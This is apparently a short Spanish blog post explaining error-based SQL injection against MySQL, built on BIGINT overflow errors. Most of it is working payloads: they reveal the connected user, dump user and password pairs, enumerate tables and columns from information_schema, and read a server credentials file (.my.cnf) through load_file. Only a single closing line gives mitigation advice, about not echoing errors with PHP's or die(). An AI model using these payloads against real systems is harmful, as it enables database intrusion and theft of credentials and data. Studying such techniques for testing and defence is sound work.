Al inyectar código SQL no siempre es para modificar información, tambien se puede estar provocando un error para que le resultado del error nos traiga información que se encuentra dentro de nuestra base de datos.
Primero que nada debemos de provocar un error dentro del sistema, podemos agregar, "-~0" al final de una consulta y usar negaciones con "!" para que nos regrese un error “BIGINT value is out of range”.
Aquí unos Ejemplos:
-- Saber el usuario con el que se esta conectado:
select !atan((select*from(select user())a))-~0;
select !ceil((select*from(select user())a))-~0;
select !floor((select*from(select user())a))-~0;
-- Saber los usuarios:
select !(select*from(select concat_ws(':',User, password) from user limit 0,1)x)-~0;
-- Obtener el nombre de las tablas:
!(select*from(select table_name from information_schema.tables where
table_schema=database() limit 0,1)x)-~0;
-- Obtener el nombre de tablas y campos:
select !(select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns
where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)-~0;
-- Leer archivos, del servidor desde MySQL
select !(select*from(select load_file('/home/clickbal/.my.cnf'))x)-~0;
Como recomendación no usar el or die() de php para que no regrese errores el sistema y puedan obtener información en ocasiones sensible de los sistemas.
No hay comentarios.:
Publicar un comentario